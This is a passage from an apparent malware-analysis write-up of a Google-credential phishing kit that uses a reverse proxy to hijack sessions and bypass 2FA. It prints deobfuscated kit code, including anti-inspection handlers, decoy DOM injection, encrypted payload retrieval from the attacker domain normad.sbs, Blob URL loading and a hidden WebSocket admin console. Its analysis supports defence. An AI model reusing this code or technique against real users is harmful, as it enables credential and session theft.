The AES key is derived by hashing a static key string with SHA-256. If decryption fails for any reason, the function returns null and the payload never executes.

Encryption Key:

The AES key is stored as multiple string fragments that are concatenated at runtime.

var _k='K9mP2xQ7vR'+'4nL8jF3wE6'+'yT1hG5bN0c'+'Z9aD4fH8kM'+'cV6wE2sL9p';

Splitting the key makes it less obvious during quick source inspection and avoids having a single visible key string.

Anti-DevTools

The page actively prevents victims from inspecting the code or debugging the JavaScript by blocking common developer tool access methods.

These controls are designed to stop casual inspection and discourage non-technical users from exploring the page source or script behavior.

function _0x18b624(){
    // Disable right-click
    document.addEventListener('contextmenu',_0x246cfb=>{
        _0x246cfb.preventDefault();
    });
    
    // Disable keyboard shortcuts
    document.addEventListener('keydown',_0x48ad13=>{
        const _0x537f31=_0x48ad13.key.toLowerCase();
        const _0x3689e8=_0x48ad13.ctrlKey;
        const _0x3ac552=_0x48ad13.shiftKey;
        const _0x1b58ea=_0x48ad13.metaKey;
        
        const _0x39e530=['t','w','n','f','u','s']; // Ctrl+Shift+T/W/N/F/U/S
        const _0x11b8ee=['i','j','c']; // Ctrl+Shift+I/J/C
        
        // Block F12
        if(_0x537f31==='f12'){
            _0x48ad13.preventDefault();
            return;
        }
        
        // Block Ctrl+Shift+[T/W/N/F/U/S]
        if(_0x3689e8&&_0x1b58ea&&_0x39e530.includes(_0x537f31)){
            _0x48ad13.preventDefault();
            return;
        }
        
        // Block Ctrl+Shift+[I/J/C] (DevTools)
        if(_0x3689e8&&_0x1b58ea&&_0x3ac552&&_0x11b8ee.includes(_0x537f31)){
            _0x48ad13.preventDefault();
            return;
        }
        
        // Block Ctrl+U (View Source)
        if(_0x48ad13.keyCode===85){
            _0x48ad13.preventDefault();
            return;
        }
    });
    
    // Disable mouse button 2 (middle click)
    document.addEventListener('mousedown',_0x165e23=>{
        if(_0x165e23.button===1){
            _0x165e23.preventDefault();
        }
    });
}

The script attaches event listeners to the document that intercept both mouse and keyboard input. Blocked actions include:

• F12: Prevents opening the Developer Tools window.

• Ctrl + Shift + I: Blocks the shortcut for DevTools (Inspect tab).

• Ctrl + Shift + J: Blocks the shortcut for DevTools (Console tab).

• Ctrl + Shift + C: Disables the element picker/inspector tool.

• Ctrl + U: Prevents viewing the raw HTML page source.

• Right Click: Disables the context menu (where “Inspect” and “Save Image” usually live).

• Middle Click: Prevents opening links in a new background tab.

How It Works:

All keydown events are monitored and evaluated for specific combinations associated with Developer Tools access, including modifier keys such as Ctrl, Shift, and Meta combined with known shortcut keys.

When a blocked shortcut is detected, the script calls preventDefault() to stop the browser from performing its normal action.

Middle mouse button clicks are also intercepted to prevent users from opening links in new tabs where inspection might be easier.

Limitations:

These protections can be bypassed by opening Developer Tools before the page loads, disabling JavaScript entirely, or using browser settings that force console access.

External analysis tools such as Burp Suite or Wireshark are unaffected because they operate outside the browser.

However, these bypasses require technical knowledge that typical phishing victims do not possess. For non-technical users, the page appears locked down and resistant to inspection, reducing the chance that suspicious scripts, hidden redirects, or malicious behavior are noticed before credentials are entered.

Decoy HTML Generation

The page injects invisible decoy HTML elements to inflate the DOM and hide the real phishing logic among large amounts of believable but non functional markup. These elements are never meant to be seen or interacted with by the user.

This behavior runs on every page load and produces a different DOM structure each time, which prevents static analysis tools from reliably identifying malicious components.

var componentGenerators=[
    function(){
        var inputTypes=['text','email','tel','search','url','hidden'];
        return '<input type="'+_r(inputTypes)+'" name="'+_id(8)+'" value="" tabindex="-1" autocomplete="off" aria-hidden="true" style="'+_r(invisibleStyles)+'">';
    },
    function(){
        return '<a href="#'+_id(8)+'" class="'+_id(10)+'" style="'+_r(invisibleStyles)+'" tabindex="-1">'+_r(['Skip to content','Skip navigation'])+'</a>';
    },
    function(){
        return '<div role="'+_r(['status','alert','log'])+'" aria-live="'+_r(['polite','assertive','off'])+'" aria-atomic="true" class="'+_id(10)+'" style="'+_r(invisibleStyles)+'"></div>';
    },
    function(){
        return '<svg xmlns="http://www.w3.org/2000/svg" style="'+_r(invisibleStyles)+'"><defs><symbol id="'+_id(8)+'"><path d="M0 0"/></symbol></defs></svg>';
    },
    function(){
        return '<script type="application/json" id="'+_r(['__INITIAL_STATE__','__PRELOADED_STATE__','__APP_DATA__'])+'" data-'+_id(4)+'="'+_rHex(8)+'">{"v":'+_$$$(100)+'}<\/script>';
    }
];

var html='';
var componentCount=8+_$$$(13);
for(var i=0;i<componentCount;i++){
    html+=_r(componentGenerators)();
}
container.innerHTML=html;
document.body.appendChild(container);

How It Works:

On each page load, the script randomly selects from five different generator functions. Each generator produces a different type of HTML element such as:

• Hidden Inputs: Mimic form fields with random names/types

• Skip Links: Standard accessibility feature, completely invisible

• ARIA Regions: Accessibility live regions for screen readers

• SVG Symbols: Empty vector graphics that don’t render

• State Scripts: Fake application state JSON (looks like React/Redux)

Each generated element is styled using one of several invisible styling techniques, including off screen positioning, CSS clipping, hidden visibility, zero opacity, or minimal size. This guarantees the elements never appear visually and cannot be interacted with by the user.

The script also varies the total number of components generated per session. Between 8 and 20 elements are injected on each load, making the DOM layout unpredictable and inconsistent across visits.

Believable Attributes and Patterns: All decoy elements include realistic attributes such as random IDs, proper ARIA roles, accessibility flags, and standard HTML semantics. These attributes closely match patterns seen in legitimate, professionally developed websites.

The components themselves are based on common web development patterns, including accessibility skip links, ARIA live regions, SVG symbol definitions, and application state script blocks. These patterns are widely used in modern frameworks and do not appear suspicious in isolation.

Component Behavior: Hidden inputs mimic real form fields by using common input types and believable field names, but they are never read or submitted. Skip links resemble standard accessibility features like “Skip to content” but remain invisible and unused. ARIA regions exist only as inert placeholders. SVG symbols define empty vector graphics that never render. State script blocks resemble React or Redux style application state but contain meaningless data.

Purpose and Effect: By flooding the DOM with legitimate looking but functionless components, automated scanners waste time parsing irrelevant content. Because the element types, attributes, and counts change on every load, static DOM signatures become ineffective.

This decoy layer buries the real malicious functionality among large amounts of professional looking markup, making the page harder to analyze while still appearing clean and legitimate to the victim.

Payload Retrieval

The phishing page retrieves its final payload from an attacker controlled command and control server. This server is not contacted using a fixed URL.

Instead, the page builds the request dynamically at runtime to avoid static blocking and make network indicators unreliable. The infrastructure supports multiple connection formats and can switch between them if one path is blocked or fails.

C2 Configuration Variables

Two core values define how the page communicates with the backend server.

The first is an XOR key, _SuperBigNyasher47_, which is used to decrypt the first layer of data returned by the server.

const _0x3252c6='_SuperBigNyasher47_'; // XOR key
const _0x471514='normad.sbs'; // Malicious domain

This ensures that even if the response is intercepted, it does not appear readable without executing the page’s JavaScript.

The second is the attacker controlled domain normad.sbs, which hosts the encrypted payloads and API endpoints used during the attack.

Endpoint Format

The primary request format uses HTTPS and includes a randomized subdomain.

An example request looks like:

https://[random].normad.sbs/api/get?p=[path]&_=[timestamp]

The p parameter identifies which payload or resource should be returned. The _ parameter contains a timestamp and is used to prevent caching and make each request appear unique.

If HTTPS or subdomains fail, the page can fall back to a direct IP style request using HTTP on a non standard port:

http://normad.sbs:8080/api/get?p=[path]

This fallback increases resilience if TLS inspection, DNS filtering, or subdomain blocking is in place.

Dynamic Subdomain Generation

To evade domain based blocking, the page generates a new numeric subdomain for each request.

function _0xeea2e(_0x54074b = 8) {
    const _0x4adc19 = '0123456789';  // Character set for subdomain
    let _0x570438 = '';
    
    for (let _0x35cb42 = 0; _0x35cb42 < _0x54074b; _0x35cb42++) {
        _0x570438 += _0x4adc19[Math.floor(Math.random() * _0x4adc19.length)];
    }
    
    return _0x570438;  // Returns something like "73829164"
}

The function responsible for this creates a random string of digits, typically eight characters long. Each digit is chosen randomly, producing values such as 73829164.

This value is then prepended to the main domain, resulting in a different hostname on every request. Because these subdomains do not exist in advance and change continuously, security tools that rely on static domain indicators or DNS reputation struggle to block the traffic reliably.

Effect on Detection: This structure prevents defenders from relying on a single hostname, fixed URL path, or consistent request pattern. Network traffic appears distributed across many unique subdomains while still resolving to the same backend infrastructure.

Combined with encryption of the response data, this URL strategy allows the phishing page to retrieve its payload quietly and adapt to partial network disruption without breaking the attack chain.

Payload Injection

After the CAPTCHA is successfully completed, the page retrieves the encrypted phishing payload from the command and control server, decrypts it in multiple stages, and injects the final HTML into the browser using a Blob URL.

This entire process occurs client side and avoids exposing the final payload to network monitoring tools.

Step 1: Fetch Encrypted Payload from C2

The function _0x5379ab() is responsible for retrieving the payload from the C2 server. It constructs the request URL dynamically by generating a random numeric subdomain using _0xeea2e(), then appending the configured domain and API path.

async function _0x5379ab(_0x19c818){
    const _0x554687=_0xeea2e(); // Random subdomain
    let _0x23dd3a=_0x21edb1+_0x554687+'.'+_0x471514+'/api/get?p=';
    
    if(_0x19c818){
        _0x23dd3a+='&path='+encodeURIComponent(_0x19c818);
    }
    
    const _0x51cf25=await fetch(_0x23dd3a);
    const _0x450e52=await _0x51cf25.json();
    
    return {
        'd':_0x450e52.d,
        'hash':_0x450e52.hash||''
    };
}

The request is sent to /api/get and includes the current page path when available. This allows the server to return different payloads depending on the entry point.

The response is returned as JSON and contains an encrypted data field d and an optional integrity hash. Only the encrypted blob is transferred over the network.

Example C2 Response:

The C2 server responds with a JSON object where the encrypted payload is stored in the d field and any additional fields are optional metadata.

{
  "d": "U2FsdGVkX1+vupppZksvRf5pq5g5XjFRlipRkw...",
  "hash": "a3f8b9c2d1e4f5a6b7c8d9e0f1a2b3c4"
}

Step 2: Main Execution Flow

This function runs automatically when the page loads.

It handles downloading the payload, decrypting it, waiting for the CAPTCHA to be solved, and then loading the final page.

(async () => {
    // Get current pathname (e.g., "/index.html" → "index.html")
    const _0x46c777 = window.location.pathname.substring(1);
    
    // Fetch encrypted payload from C2
    const _0x2da332 = await _0x5379ab(_0x46c777);
    
    // LAYER 1: XOR Decrypt the payload
    const _0x131fcb = _0x3c2600(_0x2da332.d, _0x3252c6);
    
    // Split decrypted data by pipe delimiter
    const _0x2e1228 = _0x131fcb.split('|');
    
    // Parse pipe-delimited configuration fields
    const _0x5135d1 = _0x2e1228[0];        // [0] AES-encrypted final URL
    const _0x2929de = _0x2e1228[1];        // [1] Feature flags (e.g., "11")
    const _0x50c7ba = _0x2e1228[2] || '';  // [2] Redirect URL
    const _0x3757a1 = _0x2e1228[3] || '';  // [3] Options string
    const _0x1fe2f8 = _0x2e1228[4] || '[]';// [4] Array data (JSON)
    const _0x530cc1 = _0x2e1228[5] || '';  // [5] Extra parameter
    const _0x377a73 = _0x2e1228[6] || '';  // [6] Custom HTML (Base64)
    
    // Decode custom HTML if provided
    let _0x3c99a6 = '';
    if (_0x377a73) {
        try {
            _0x3c99a6 = atob(_0x377a73);  // Base64 decode
        } catch (_0x322581) {}
    }
    
    // Check if CAPTCHA should be shown
    const _0x4975ab = new URLSearchParams(window.location.search).get('t');
    const _0x27cb04 = !_0x59b5de && (_0x4975ab === '1' || !_0x3c99a6);
    
    if (_0x27cb04) {
        AntiBotProtection.init();  // Display CAPTCHA overlay
    }
    
    // Wait for user to solve CAPTCHA
    await AntiBotProtection.waitForCompletion();
    
    // LAYER 2: AES Decrypt the final phishing page HTML
    // (This happens in another part of the code using window._d())
    
    // STEP 3: Inject via Blob URL
    const _0x1bb6a7 = new Blob([_0x2bff10], {type: 'text/html'});
    const _0x510c3a = URL.createObjectURL(_0x1bb6a7);
    
    // Replace current page with blob URL
    window.location.replace(_0x510c3a);
})();

At this point the payload has been fully decrypted inside the browser. The final HTML never appears in network traffic and is never saved as a file.

Step 4: Blob URL Injection

Once decryption completes, the final phishing HTML is injected using a Blob URL:

const _0x1bb6a7 = new Blob([_0x2bff10], {type: 'text/html'});
const _0x510c3a = URL.createObjectURL(_0x1bb6a7);
window.location.replace(_0x510c3a);

Why Attackers Use Blob URLs

Blob URLs let the final phishing page run without ever being downloaded as a normal HTML file. Network tools only see an encrypted JSON request, not the real page.

Because blob:// pages are internal to the browser, scanners and crawlers cannot fetch them. In many cases, browser security rules also allow Blob pages by default.

The result is that defenders see almost nothing suspicious on the network, even though a full phishing page is displayed to the user.

Part 4: The Live Proxy Attack

At this stage, the attack shifts from a static phishing page to a live proxy setup.

The attacker places a relay between the victim’s browser and Google’s real authentication servers. This allows credentials and session data to be captured in real time while the page continues to function like a legitimate Google login.

Step 1: Fileless Delivery via Blob URL

The login page is delivered using a Blob URL:

blob:https://accounts-g0033le-com-04fe.robertsoneric509.workers[.]dev/65c2b89a-612e-4f48-bfbd-bd40b49afde0

How It Works:

A Blob, or Binary Large Object, is created directly in browser memory through JavaScript. Instead of requesting an HTML document from a server, a loader script generates the entire login page in RAM.

Because the page exists only in memory and is never hosted as a file, it is not visible to traditional URL scanners, web crawlers, or security tools that rely on inspecting hosted content. This fileless approach allows the phishing page to exist only for the duration of the session and leaves little forensic footprint.

Step 2: The Reverse Proxy (Core Attack)

The core of the attack is a reverse proxy implemented using a Cloudflare Worker.

When the victim’s browser requests the login page, the Worker retrieves the real page from accounts.google.com.

Before returning the response, the Worker modifies the page contents in real time, replacing references to Google domains with attacker controlled lookalike domains such as accounts-g0033le-com. The modified page is then delivered to the victim.

Because the HTML, JavaScript, and authentication logic originate from Google’s live infrastructure, the page behaves exactly as expected.

All credentials and authentication tokens, however, pass through the proxy first, allowing the attacker to observe and capture them without disrupting the user experience.

Step 3: The Data Tunnel

During the login process, the network traffic shows a high volume of 0.0 KB AVIF image requests. These requests are not used to load real images. Instead, they function as a lightweight communication channel between the browser and the proxy.

Each time the victim interacts with the login form, including typing individual characters, background requests are generated.

The captured input is embedded in request headers or metadata, while the response remains empty to minimize bandwidth usage. This allows data to be exfiltrated continuously without triggering visible uploads or warnings.

These requests also play a role in defeating latency based proxy detection. Google security scripts measure round trip time to identify indirect connections.

The Cloudflare Worker responds from the network edge, producing near instant responses. This causes Google’s checks to see a low latency connection that appears indistinguishable from a direct session.

Step 4: Session Hijacking (The “Golden Ticket”)

The primary objective of the proxy is the Google session cookie.

As the victim enters their email address, password, and two factor authentication code, the proxy forwards each value to Google in real time. Once Google validates the login, it issues a session cookie that represents an authenticated account.

As this cookie passes back through the proxy, the attacker copies it. This cookie can then be imported into another browser session controlled by the attacker.

Because the cookie represents a completed authentication flow, no additional password or two factor challenge is required. The attacker gains full access to the account using the victim’s already validated session.

Step 5: The “Success” Hand-off

After authentication, the proxy redirects the victim to a legitimate Google Drive file:

https://drive.google[.]com/file/d/14mmOHEbC59FlsotUb0iy25NTCsF2eLY0/view

This redirect is performed using a standard HTTP 302 response. The document loads normally from Google Drive, reinforcing the impression that the login was legitimate. From the victim’s perspective, the login appears to have been a routine security check, while the attacker retains persistent access in the background.

You end up on the real Google Drive looking at a real document. You assume the login was just a standard security check, while the attacker retains persistent, 2FA-bypass access to your account in the background.

Post-Login Redirection

To prevent suspicion, the proxy redirects the victim to a legitimate Google Drive file after login. The URL for the file is encoded as the success URL in the Google interstitial:

"HAZvpc":"https://accounts.google[.]com/v3/signin/interstitial/doritos/forward/success?continue=https://drive.google[.]com/file/d/14mmOHEbC59FlsotUb0iy25NTCsF2eLY0/view?usp%3Dsharing&timeStmp=1770268388508"

Google uses this section to store “state” information, indicating where the page should redirect after login is complete. Phishing kits replicate this structure to relay a real Google session.

By including the continue URL, the proxy ensures that after stealing the credentials, the victim is redirected to the actual Drive file. This makes the process appear legitimate and prevents the victim from suspecting that their session was compromised.

Real-Time Keystroke Exfiltration

Unlike traditional phishing pages that wait for a form submission, this proxy captures credentials as they are typed.

Event listeners attached to the input fields trigger background requests on each keystroke. These keystrokes are transmitted immediately through the same lightweight request channel used elsewhere in the session.

Because the proxy relays this data to Google instantly, it can validate credentials in real time. If an incorrect password is entered, the error message displayed to the victim originates from Google itself.

This feedback loop further reinforces the legitimacy of the page and increases the likelihood that the victim completes the login process.

Two Factor Authentication Won’t Stop the Attack

SMS based and app based two factor authentication do not stop this attack. The proxy simply relays the one time code to Google as soon as it is entered.

The only effective defense in this scenario is a physical security key using FIDO2. These keys cryptographically bind authentication to the domain.

Further Reconnaissance

Although the attacker minimized their footprint, some elements of the operation cannot be fully concealed. These are not mistakes or oversights.

They are artifacts created by running a live phishing campaign that depends on public platforms, client‑side execution, and cloud infrastructure.

By examining these exposed components, we can still determine how long the campaign has been active, how it is maintained, and how its infrastructure is organized.

Attacker GitHub:

During payload delivery, the attacker exposed a GitHub repository used to host encrypted JavaScript payloads. Using GitHub provides availability and resilience, but it also makes development activity observable.

This does not identify the operator. The account can be anonymous and disposable. What it does show is operational timing, update frequency, and whether the campaign is still active.

https://github.com/laurseraph-svg

The repository functions as a payload hosting layer rather than a development workspace, which explains the minimal commit messages and frequent updates to encrypted files.

Commit History Analysis:

The GitHub account hosting these encrypted payloads provides a fascinating window into the attacker’s operations. Examining the commit history reveals patterns that tell us a lot about how this campaign is managed.

Reviewing the commit history for ramen_p.json, the most frequently updated payload file, reveals clear phases of activity.

• December 8–11, 2025: Initial repository population and testing

• December 11, 2025: Transition into active use with multiple same‑day updates

• December 19, 2025: Short burst of tuning activity

• December 20, 2025 to January 17, 2026: No observable changes

• January 18, 2026: Activity resumes

• January 20–25, 2026: Sustained update period

• February 1, 2026: Most recent updates to active payload files

This pattern is consistent with a campaign that was deployed, paused, and later resumed rather than abandoned.

What the Commit Pattern Reveals:

1. Campaign Development Phase (December 8-11)

• Initial setup and testing

• Creating multiple payload variants

• Setting up encryption schemes

• Establishing naming conventions

2. Active Campaign Period (December 11-19)

• Multiple daily updates indicate active phishing campaign

• Rapid iteration suggests A/B testing of approaches

• Quick response to detection or victim feedback

• Optimization of social engineering techniques

3. Holiday Pause (December 20 - January 17)

• No commits during traditional holiday period

• Suggests operator in region that observes Western holidays

• Could indicate European or North American base

• Or simply strategic pause to avoid holiday security awareness

4. Campaign Resumption (January 18 onwards)

• Return to regular updates

• Sustained 5-day activity burst suggests renewed campaign push

• Multiple updates per day during peak activity

• Most recent activity in February shows ongoing operations

Commit Messages Are Minimal:

All commits use generic messages like:

• “Update ramen_p.json”

• “Update cap_ram_head.json”

• “Create oatsandhayswithbays.json”

This reinforces that the repository is used for distribution, not collaborative development. Descriptive messages would add no operational value.

Attacker email address:

You can check the email address used for a commit by adding .patch to the end of a commit URL. The result shows an email used:

laurseraph@gmail[.]com

I wasn’t able to find references to this username or email elsewhere using OSINT techniques, so it appears that it was created alongside the GitHub as a throwaway email for single purpose.

Also of note is that the account also contains multiple repositories, some of which were not used in this campaign and may support other operations.

Phishing Infrastructure

Throughout the attack, several endpoints were contacted that controlled the phishing infrastructure. One of these endpoints is part of the publicly reachable phishing kit and performs a server-side check to confirm that the client executed the required JavaScript and passed fingerprinting verification.

Observed endpoints:

https://kleavbre[.]site/r/cls/verified_server.php?challenge=1

https://kleavbre[.]site/r/cls/verified_server.php?t=d936999cd400bbef77cec0c344cd5710&n=16

These requests function as execution confirmation signals. The endpoints must be publicly accessible for the kit to operate, which makes them inherently observable.

Using these endpoints, it was possible to locate an exposed configuration server containing key parts of the phishing infrastructure, including victim verification files, domain configuration data, proxy lists, and other operational files.

Exposed Configuration Server

The server is poorly restricted. Files are not protected and path traversal is possible by modifying URLs in the browser. This means anyone with knowledge of the endpoint structure can access configuration files directly.

The server stores operational data needed for the phishing kit to function, which explains why these resources are publicly accessible despite the security risk to the attacker. Most of the files are unprotected as well.

Victim Validation API

Another endpoint located validates victim identifiers before serving follow-up content. The endpoint with the decoded victim hash value like this:

https://cz6c3k7wpak7f5cwl59mz1mszsj7ehjl.autum[.]sbs/first-landers?hash=26GIHKO

If the victim ID is invalid (tested multiple variations of random hash parameter values, it always gives the same response:

This domain is registered through Namecheap with privacy protection enabled and is hosted behind Cloudflare, which hides the origin server’s real IP address.

The setup allows the attacker to manage victims dynamically while preserving anonymity and controlling the flow of payload delivery.

Hidden Remote Administration

The CAPTCHA page contains a sophisticated remote administration system that allows an attacker to take complete control of victim browser sessions in real time.

This functionality is hidden behind password authentication and keyboard shortcuts, creating a parallel control interface that victims cannot see or access.

Unlike traditional phishing pages that simply collect credentials and end the session, this infrastructure maintains persistent connections to all active victims simultaneously.

The admin can monitor multiple sessions, switch between them, and interact with any victim’s browser as if they were sitting at the keyboard themselves.

Potential Privilege Escalation Vulnerability

The admin authentication relies heavily on client-side JavaScript flags (is_Admin = true, is_Scope_Admin = true) that any victim could set via browser console.

A researcher with a valid victim ID could theoretically call admin_connect() and send admin-type WebSocket messages to the server.

Whether this actually grants admin access depends entirely on server-side validation of the ref_id and URL hash parameters - if the server trusts the client’s claimed admin status without proper verification, victims could potentially view other sessions.

This would represent a catastrophic security failure in the attacker’s own infrastructure, exposing their entire operation and all connected victims.

Authentication and Access Control

The admin system uses a multi-layered authentication approach that separates normal victim traffic from administrative access.

Encrypted Admin Credentials

Admin authentication credentials are embedded in the URL using an encrypted parameter that is decoded when the page loads:

// Extract and decrypt admin credentials from URL parameter 'u'
const SECRET = "_SuperBigNyasher47_";
const encryptedU = getUrlParameter('u');

if (encryptedU) {
    try {
        const decrypted = decryptData(encryptedU, SECRET);
        // Format: "email|flags|server_url|allowed_links_json|admin_password"
        const parts = decrypted.split('|');
        email = parts[0] || 'no-email-mode@email.com';
        const flags = parts[1] || '';
        server_url = parts[2] || '';
        const allowed_links_json = parts[3] || '[]';
        admin_password = parts[4] || '';  // Stored globally
        allowed_links = JSON.parse(allowed_links_json);
        
        const isValid = flags && flags[0] === '1';
        const isAdmin = flags && flags[1] === '1';
        
    } catch (error) {
        console.error('Error decrypting u parameter:', error);
    }
}

The encrypted u parameter contains all necessary configuration data:

• Email address: Tracks which campaign or target this session belongs to

• Permission flags: Binary flags indicating valid session and admin status

• Server URL: WebSocket endpoint for control traffic

• Allowed links: JSON array defining which domains the admin can access

• Admin password: Used for keyboard-based authentication

This design allows the attacker to distribute different URLs with varying permission levels while using the same underlying page infrastructure.

Keyboard-Based Authentication

Once the page loads, an admin can authenticate by typing a password followed by the # symbol anywhere on the page:

let keySequence = '';

document.addEventListener('keydown', (event) => {
    // Only process printable characters
    if (event.key.length === 1 || event.key === '#' || event.key === 'Backspace') {
        if (event.key === 'Backspace') {
            keySequence = keySequence.slice(0, -1);
        } else {
            keySequence += event.key;
        }

        // Check if the sequence contains # (password input)
        if (keySequence.includes('#')) {
            const parts = keySequence.split('#');
            if (parts.length >= 2) {
                const typedPassword = parts[0];
                const ref_id = localStorage.getItem('ref_id');

                if (ref_id && typedPassword) {
                    validatePasswordAndConnect(ref_id, typedPassword);
                }
                keySequence = ''; // Reset
            }
        }

        // Prevent sequence from growing too large
        if (keySequence.length > 20) {
            keySequence = keySequence.slice(-20);
        }
    }
});

How It Works:

The page silently records every keystroke in a buffer.

When a # character is detected, the accumulated keystrokes are split into password and command components. The typed password is compared against the admin_password value extracted from the encrypted URL parameter.

If the password matches, the admin_connect() function is called, which establishes a WebSocket connection to the control server with elevated privileges. No visual feedback is provided during typing, preventing victims from noticing the authentication process.

This authentication method has several operational advantages:

• Silent activation: No UI elements reveal that admin mode exists

• No form submission: Typing happens naturally during page interaction

• Session-independent: Multiple admins can authenticate independently

• Immediate effect: Control access granted without page reload

Password Validation

The validation function performs a direct string comparison and initiates the admin connection on success:

async function validatePasswordAndConnect(ref_id, typedPassword) {
    if (admin_password && typedPassword === admin_password) {
        log('Password validated successfully for ref_id:', ref_id);
        admin_connect(ref_id);
    } else {
        log('Password validation failed for ref_id:', ref_id);
        // Silent failure - no feedback to user
    }
}

Failed authentication attempts are logged silently without alerting the user or triggering any visible change. This prevents victims from discovering admin functionality through experimentation.

WebSocket Command and Control

Once authenticated, the admin establishes a dedicated WebSocket connection that runs in parallel to victim connections.

This creates a bifurcated communication channel where victim traffic and admin traffic share the same infrastructure but operate with different permissions.

Admin Connection Establishment

The admin WebSocket uses randomized subdomains to avoid static signatures and connection fingerprinting. Each new session generates a different hostname while resolving to the same backend infrastructure.

function admin_connect(ref_id) {
    if (socket && socket.readyState === WebSocket.OPEN) {
        log('Already connected');
        return;
    }
    if (is_pathed) return;

    const shadowUrlObj = new URL(refParam);
    const protocol = shadowUrlObj.protocol === 'https:' ? 'wss:' : 'ws:';
    const randomString = randomStringf();
    wsUrl = `${protocol}//${randomString}.${shadowUrlObj.host}/ws`;

    try {
        socket = new WebSocket(wsUrl);
        
        socket.addEventListener('open', async () => {
            log('Connected to server');
            setConnectionStatus(true);
            is_pathed = true;
            is_Admin = true;
            is_Scope_Admin = true;
            
            // Show admin interface
            document.querySelector('.tabs-container').style.display = 'block';

            if (!ref_id) {
                reload_page();
                return;
            }

            // Send admin identification to server
            socket_send({
                type: 'dimensions_admin',
                ref_id: ref_id,
                width: canvasWidth,
                height: canvasHeight,
                zrawHazh: localStorage.getItem('rawHash') || '',
            });
        });
        
        // Message handlers for admin-specific commands
        socket.addEventListener('message', (event) => {
            handleMessage(event);
        });
        
    } catch (e) {
        console.log(e);
    }
}

Three critical flags are set during admin connection:

• is_Admin = true: Enables admin-specific UI elements

• is_Scope_Admin = true: Prevents automatic session cleanup

• is_pathed = true: Marks the connection as established

These flags control which code paths execute and which UI components render, effectively switching the page into administration mode while maintaining the appearance of a normal session to external observers.

Multi-Session Management Interface

The admin interface uses a tabbed system to monitor and control multiple victim sessions simultaneously. Each active victim is represented as a separate tab with real-time status indicators.

Tab Creation and Tracking

const clientTabMap = new Map(); // Maps client_id to tabId
const tabClientMap = new Map(); // Maps tabId to client_id
let active_client_id = null;

function createTab(title = null, client_id = null) {
    if (client_id && clientTabMap.has(client_id)) {
        const existingTabId = clientTabMap.get(client_id);
        activateTab(existingTabId);
        return existingTabId;
    }
    
    tabCount++;
    const tabId = 'tab-' + tabCount;
    const tabTitle = title || `Tab ${tabCount}`;

    const tab = document.createElement('div');
    tab.className = 'tab';
    tab.id = tabId;
    tab.dataset.tabId = tabId;
    tab.innerHTML = `<i class="fas fa-folder-tree"></i> 
                    ${tabTitle}
                    <span class="close-btn">×</span>`;
                    
    if (client_id) {
        clientTabMap.set(client_id, tabId);
        tabClientMap.set(tabId, client_id);
    }

    tab.addEventListener('click', async function (e) {
        await activateTab_manual(tabId);
    });

    const closeBtn = tab.querySelector('.close-btn');
    closeBtn.addEventListener('click', function (e) {
        e.stopPropagation();
        closeTab(tabId);
    });

    tabsWrapper.appendChild(tab);
    tabcount.innerHTML = `${tabCount}`;
    playTabNotification();
    return tabId;
}

Bidirectional Mapping: The system maintains two Maps that allow lookups in both directions. Given a victim’s client_id, the admin can find which tab represents that session. Given a tab ID, the system can determine which victim connection to route commands to.

This architecture supports several critical operations:

• Preventing duplicate tabs: Before creating a new tab, the function checks if one already exists for the client

• Tab activation: Clicking a tab loads that victim’s live view

• Session cleanup: When a tab closes, both mapping entries are removed

• Audio feedback: New tab creation triggers a notification sound

Session State Indicators

Tabs display visual indicators that communicate session health and admin control status:

const tab = document.getElementById(tabId);
if (!tab || !tabId) return;

if (message.is_client_disconnected) {
    if (message.admin_touch) {
        // Admin has control - keep tab open but show admin status
        if (!tab.classList.contains('admin-controlled')) {
            tab.classList.add('admin-controlled');
            tab.classList.add('tab-disconnected');
            tab.title = 'Admin interaction active (Client disconnected)';
            tab.innerHTML = "👑 <i class='fas fa-user-shield'></i> Admin";
        }
    } else {
        // No admin control - safe to close tab
        if (!tab.classList.contains('tab-disconnected')) {
            tab.classList.add('tab-disconnected');
            tab.title = 'Client disconnected';
            closeTab(tabId);
        }
    }
} else {
    // Client is connected - remove disconnection styling
    if (tab.classList.contains('tab-disconnected')) {
        tab.classList.remove('tab-disconnected');
        tab.title = '';
    }
}

Visual States:

• Normal state: Standard tab appearance, victim connected and active

• Disconnected state: Red pulsing border, client lost connection

• Admin-controlled state: Crown icon, orange background, admin is interacting

• Admin-controlled + Disconnected: Both indicators shown, admin controls dead session

The system distinguishes between a victim closing their browser and an admin maintaining control of that session. If admin interaction is detected (admin_touch), the tab remains open even after disconnection, allowing the admin to continue inspecting the session state or reviewing captured data.

Queue-Based Session Activation

To prevent overwhelming the server with rapid tab-switching requests, the system implements a unique queue with cooldown throttling:

class UniqueQueue {
    constructor() {
        this.queue = [];
        this.priorityQueue = [];
        this.set = new Set();
        this.prioritySet = new Set();
        this.isPaused = false;
    }

    enqueue(item) {
        if (!this.set.has(item) && !this.prioritySet.has(item)) {
            this.queue.push(item);
            this.set.add(item);
            return true;
        }
        return false; // Duplicate rejected
    }

    enqueueImmediate(item) {
        // Remove from regular queue if exists
        if (this.set.has(item)) {
            const index = this.queue.indexOf(item);
            if (index > -1) {
                this.queue.splice(index, 1);
                this.set.delete(item);
            }
        }

        if (!this.prioritySet.has(item)) {
            this.priorityQueue.push(item);
            this.prioritySet.add(item);
            return true;
        }
        return false;
    }

    dequeue() {
        // Priority queue first
        if (this.priorityQueue.length > 0) {
            const item = this.priorityQueue.shift();
            this.prioritySet.delete(item);
            return item;
        }

        if (this.queue.length === 0) return null;
        const item = this.queue.shift();
        this.set.delete(item);
        return item;
    }
}

const pipe = new UniqueQueue();
const COOLDOWN = 3000; // 3 seconds between requests

async function processQueue() {
    if (isProcessingPipe || pipe.size() === 0 || pipe.isPaused) {
        return;
    }

    const now = Date.now();
    const timeSinceLastRequest = now - lastRequestTime;

    const isFromPriorityQueue = pipe.priorityQueue.length > 0;

    if (!isFromPriorityQueue && timeSinceLastRequest < COOLDOWN) {
        const waitTime = COOLDOWN - timeSinceLastRequest;
        queueTimer = setTimeout(processQueue, waitTime);
        return;
    }

    isProcessingPipe = true;
    const client_id = pipe.dequeue();

    if (client_id) {
        active_client_id = client_id;
        
        socket_send({
            type: 'dimensions_admin_client',
            client_id: client_id,
            width: canvasWidth,
            height: canvasHeight,
        });

        lastRequestTime = now;
    }

    isProcessingPipe = false;

    if (pipe.size() > 0 && !pipe.isPaused) {
        queueTimer = setTimeout(processQueue, COOLDOWN);
    }
}

Queue Behavior: The queue prevents duplicate requests by using a Set to track which client IDs are already pending. If the admin rapidly clicks between tabs, only unique sessions are queued.

